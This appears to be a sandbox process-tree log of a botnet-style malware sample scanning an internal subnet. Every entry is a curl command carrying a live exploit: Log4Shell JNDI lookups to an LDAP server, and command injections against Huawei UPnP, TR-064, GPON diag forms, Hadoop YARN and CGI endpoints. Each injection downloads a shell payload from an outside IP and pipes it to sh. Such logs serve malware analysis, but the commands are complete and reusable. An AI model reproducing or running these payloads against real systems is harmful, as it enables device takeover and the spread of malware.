                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.117/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.100:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1045
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.114:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.114/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1293
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.117:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1295
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.112/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1299
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.113:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1346
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.119:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1405
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.119:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1390
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.120/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1415
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.120:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.113/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1353
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.119/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1406
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.123:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.123/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1421
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.12:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1433
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.12/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1434
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.1:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.123:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.13:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1451
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.13/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1454
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.13:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1453
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -g "http://10.127.0.13:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.123/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.128/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1463
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.128:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1462
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.128:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1459
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.124/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1467
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.124:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1466
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.13/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.13/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.112:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1298
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST http://10.127.0.13:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.105:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.105:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1482
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.105/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1483
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.124/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1379
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.128/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -g "http://10.127.0.124:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1345
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.128/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1369
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.124/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1381
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST "http://10.127.0.128:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1371
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.122:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.126:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.121:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1495
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.121:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1497
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.121/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1498
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST "http://10.127.0.13:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1446
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
